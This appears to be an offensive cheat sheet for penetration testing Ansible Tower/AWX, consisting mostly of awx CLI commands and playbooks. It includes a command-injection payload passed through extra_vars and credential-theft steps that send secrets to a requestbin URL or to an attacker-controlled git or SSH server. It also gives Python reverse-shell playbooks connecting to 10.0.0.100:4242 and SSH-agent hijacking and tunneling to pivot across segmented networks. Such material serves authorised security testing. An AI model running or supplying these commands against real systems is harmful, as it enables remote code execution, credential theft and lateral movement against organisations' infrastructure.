Offensive AWX consists of cheat sheets and information to pentest Ansible Tower and AWX. AWX will be used to refer to AWX as well as Ansible Tower. The awx
CLI will be used throughout this documentation to allow for more flexible exploitation. Anything done with the CLI can usually be done with the UI as well.
Access to AWX can often be leveraged to pivot in an environment and gain remote code executions on servers.
- Offensive AWX
python -m pip install awxkit
To validate AWX credentials without having impact, you can use the me
or the ping
command. Exporting the variables will avoid having to specify them every request.
export CONTROLLER_HOST=http://10.1.1.1:10445
export CONTROLLER_USERNAME=admin
export CONTROLLER_PASSWORD=Passw0rd1
awx me
You can specify your username and password on every request with the --conf.username
and --conf.password
parameters
awx --conf.username admin --conf.password Passw0rd1 me
Using the login function will create a personal access token. You may want to add a description for future reference:
export CONTROLLER_HOST=http://10.1.1.1:10445
export CONTROLLER_USERNAME=admin
export CONTROLLER_PASSWORD=Passw0rd1
awx login --description "Pentest XYZ" -f human
Listing your tokens will display the one you just created:
awx me -f human
awx tokens list -f human --filter "id,name,description" --user <id>
To export your token and make use of it through awxcli
, you can use the following:
export CONTROLLER_OAUTH_TOKEN="[...]"
To clean up your token, you can use the delete
function:
awx tokens delete <id>
Gather information on the server's content.
awx ping
Organizations are security boundaries for inventories, users, etc.
Listing organizations in the human readable format:
awx organizations list -f human --filter "id,name,description"
Get one organization in particular:
awx organizations get <id>
Listing projects in the human readable format:
awx projects list -f human --filter "id,name,description"
Get one project in particular:
awx projects get <id>
An inventory contains hosts.
Listing inventories in the human readable format:
awx inventory list -f human
Getting a specific inventory's details:
awx inventory get <id>
Groups contain hosts as well. An inventory can be split into groups for more granular management.
List groups:
awx groups list -f human
List groups for an inventory:
awx groups list -f human --inventory <id>
List hosts:
awx hosts list -f human --filter "id,name,inventory"
List hosts by inventory:
awx hosts list -f human --filter "id,name,inventory" --inventory <id>
Get a single host:
awx hosts get <id>
Credentials can be used to connect to hosts to run commands.
awx -k --conf.host http://10.2.255.253:10445 --conf.username admin --conf.password JdkQyYf0JO8zqak4ldBwdusrEfFCw7Wm credentials list -f human
There are multiple approches to code execution. You can run ad-hoc commands, create or modify projects or templates, etc.
Listing ad-hoc commands in the human readable format:
awx --conf.host <url> --conf.username <username> --conf.token <token> ad_hoc_commands list -f human
Creating an add-hoc command and getting its output:
awx --conf.host <url> --conf.username <username> --conf.token <token> ad_hoc_commands create --inventory <inventory id> --credential <credential_id> --module_name shell --module_args 'whoami; hostname;'
awx --conf.host <url> --conf.username <username> --conf.token <token> ad_hoc_commands stdout <command id>
Creating a project:
awx projects create --wait --organization --name='My project' --scm_type git --scm_url 'https://github.com/lm-sec/offensive-awx.git' -f human
Modifying a project's scm_url
:
awx projects modify <id> --scm_url "https://github.com/lm-sec/offensive-awx.git"
For a private git repository, you can create credentials and add them to the project. Use the Source Control
credential type:
awx credential_types list -f human
awx organization list -f human
awx credentials create --name "GitHub read" --description "GitHub personal access token" --organization <id> --credential_type <id> --inputs '{ "username":"your-user", "password":"github_pat_your-access-token" }' -f human
awx projects modify <id> --credential <id> -f human
Listing job templates in the human readable format:
awx job_templates list -f human
Creating a job template for the hostname_whoami.yml
playbook for a project with the scm_url
value of https://github.com/lm-sec/offensive-awx.git
:
awx job_templates create --name='My job template' --project <id> --inventory <id> --playbook 'playbooks/hostname_whoami.yml' -f human
Adding
--allow_simultaneous true
will allow multiple jobs of same job_template to be run concurrently.
Launching a job template:
awx job_templates launch <id> --monitor -f human
Adding
--monitor
will print the stdout of the job and wait for it to complete.
Reading the output:
awx jobs stdout <id>
Changing a job template's playbook:
awx job_templates modify <id> --playbook "playbooks/hostname_whoami.yml"
Changing a job template's branch:
awx job_templates modify <id> --scm_branch "main"
Extra variables provided at the launch of a job_template take precedence over all other sources of variables. This makes it possible to override variables even if they were not intented to be specified at this level. Specifying a new value for an existing variable will overwrite its value. This is therefore exploitable when variables are used in insecure ways.
Here is an example of an insecure use of a variable :
---
- name: read a file
hosts: all
vars:
filepath: /etc/passwd
tasks:
- name: Show a file's contents
ansible.builtin.shell: |
cat '{{ filepath }}'
The code above will execute the cat
command on the file specified in the filepath
extra variable.
In this example, the job_template
only allows the launcher to specify the extra variables.
It would then be possible to exploit the playbook by using the following awx
command :
EXTRA_VARS="{\"filepath\": \"';whoami;#\"}"
awx job_template launch --extra_vars "${EXTRA_VARS}" <job_template_id>
This would then cause a command injection when this task is processed.
cat '{{ filepath }}' --> cat '';whoami;#
Since the playbook did not use the quote filter to escape the variable for safe shell use, we are able to escape the quotes and inject our command. Changing the template command to the following will fix this vulnerability :
cat '{{ filepath | quote }}'
This is useful when you are constrained in what you can change about the job_template you have execution rights on. Most of the time, this is when a system administrators has delegated certain job_templates to an actor for their work related activities.
Credentials stealing will between different types of credentials. Here are listed some techniques for some common types of credentials.
To steal these credentials, the idea is to send them to an attacker controlled website using the test
API route.
The JSON data sent to test Thycotic secret server credentials:
{"inputs": { "server_url": "https://requestbin.myworkato.com/13d3tpj1" }, "metadata": {"secret_id": "asdf", "secret_field": "asdf"}}
A short list of commands that leaks the password to a web server with the test function. It uses the login function to create a token and then tries the current credential values on the server specified in server_url
:
URL="http://10.2.255.253:10445"
CRED_ID="8"
DATA='{"inputs": { "server_url": "https://requestbin.myworkato.com/13d3tpj1" }, "metadata": {"secret_id": "asdf", "secret_field": "asdf"}}'
awx login --description "Pentest XYZ" -f human
export CONTROLLER_OAUTH_TOKEN=<token>
curl -X POST -H "Authorization: Bearer $CONTROLLER_OAUTH_TOKEN" -H "Content-Type: application/json" --data-raw "$DATA" "$URL/api/v2/credentials/$CRED_ID/test/"
To steal git credentials, you first need a web server that forces the git client to authenticate with basic authentication. Then, you run the following commands, pointing to your web server:
awx projects list -f human --filter "id,name,description,scm_url"
PROJECT_ID="10"
REQUEST_BIN="http://example.com:5000/"
awx projects modify $PROJECT_ID --scm_url $REQUEST_BIN
# The update should automatically update and connect to the server, but you can manually update with the following command
awx projects update $PROJECT_ID
You can use the provided Flask app to leak git credentials.
To steal the SSH username and password, force the server to connect to your controlled machine and listen for the SSH credentials. An SSH honeypot can be used, like the following: https://github.com/droberson/ssh-honeypot.
PROJECT_ID="10"
REQUEST_BIN="http://example.com:5000/"
awx projects
It is possible to delegate the execution of a task to a given host when executing a playbook. To do so, we can use the delegate_to keyword on a task. This keyword needs a host as argument. Here is an exemple of a delegated task:
---
- name: read /etc/hosts
hosts: all
tasks:
- name: print target hosts
ansible.builtin.shell: cat /etc/hosts
- name: print host-1 hosts
ansible.builtin.shell: cat /etc/hosts
delegate_to: host-1
This would cause the second task to run on host-1
, all other tasks will be executed on the target hosts.
Using this delegation method, we can execute arbitrary commands on the execution node.
From there, one can perform enumeration of project artifacts and sometimes grab secrets, like vault passwords, that are sent in clear text.
Interesting pivoting techniques are possible if the machine id
uses an SSH key for authenticaton.
This is because, when a job_template
is launched, a new pod is created by awx-operator
, the context of the execution is sent to this pod and the machine id
credential is configured in the local ssh-agent
.
Here is what that command looks like:
sh-ctrap 'rm -f /runner/artifacts/<id>/ssh_key_data' EXIT \
&& ssh-add /runner/artifacts/<id>/ssh_key_data \
&& rm -f /runner/artifacts/<id>/ssh_key_data \
&& ansible-playbook -u <user> -v \
-i /runner/inventory/hosts \
-e @/runner/env/extravars playbook.yml
It starts by trapping a deletion of the key on the EXIT
signal, this way the key is instantly deleted at the end even if the command fails.
Afterwards, the key is added to the agent and finally, the playbook is launched.
Therefore, by delegating a task to 127.0.0.1
, we can target the execution node and stop the playbook in its tracks.
Since the ssh-agent
is already configured and any passphrase needed has been given, we can use ssh commands directly.
Some techniques leveraging this are detailed below.
The execution nodes are pretty slim environments. Therefore, most of the usual suspects that are normally used to gain a shell on a linux system are not present.
However, we can use the execution node's python interpreter to send ourselves a reverse shell. There are multiple ways to deliver such a payload, here are two ways.
It is possible to use a call to ansible.module.shell
to launch bash command which will in turn launch a python reverse shell.
Here is what that looks like :
---
- name: "Execution node command execution"
gather_facts: true
hosts: all
tasks:
- ansible.builtin.shell: |
python3 -c "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.100',4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')"
delegate_to: 127.0.0.1
register: stdout
- ansible.builtin.debug:
var: stdout
You could also execute python code directly containing a reverse shell.
To do that, we can use the ansible.module.shell
module again, but specify python3 as the interpreter.
---
- name: "Execution node python script execution"
gather_facts: true
hosts: all
tasks:
- ansible.builtin.shell: |
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.0.100',4242))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn('/bin/sh')
args:
executable: /usr/bin/python3
delegate_to: 127.0.0.1
register: stdout
- ansible.builtin.debug:
var: stdout
This should send us a reverse shell without the use of a shell script. Example playbooks allowing you to prompt which command or python code is executed on launch are available in the playbooks directory at the root of this repository.
Using remote code execution on the execution node, we can create SSH tunnels between hosts. This can be useful for pivoting in different subnets.
Here is an example that assumes a certain level of segmentation between the dev and prod environments. You can't reach the prod environment from the dev environment. However, the AWX instance is used to manage both subnets, without proper segmentation. We use the execution node to build a reverse port forwarding ssh connection that creates a tunnel between the dev-host
on port 9999 to the prod-host
on port 25.
---
- name: tunnel
hosts: all
tasks:
- name:
ansible.builtin.shell: |
ssh -o StrictHostKeyChecking=no -R 9999:prod-host:25 user@dev-host -N
delegate_to: 127.0.0.1
You can add
-f
flag to the SSH command to background it instantly. The-o StrictHostKeyChecking=no
flag disabled host verification to avoid issues, relating to that while pivoting.
In this case, an attacker could forward a production host's port to a machine in the dev subnet that they can reach. We used SMTP as an example.
Using this, we can also hijack the ssh-agent
to connect to a host we would normally not be able to interact with through AWX.
This does depends on a reuse of credentials (SSH key or password) to be exploitable.
Assuming we have an inventory containing only host-1
, and we do not have the rights to modify it. There is a second host called host-2
to which we want to connect, but we have no way to through AWX.
Here is an example that leverages this technique to pivot on host-2
:
---
- name: execute commands on host-2
hosts: all
tasks:
- name:
ansible.builtin.shell: |
ssh -o StrictHostKeyChecking=no user@host-2 -- [...]
delegate_to: 127.0.0.1
The
-o StrictHostKeyChecking=no
flag disabled host verification to avoid issues relating to that while pivoting.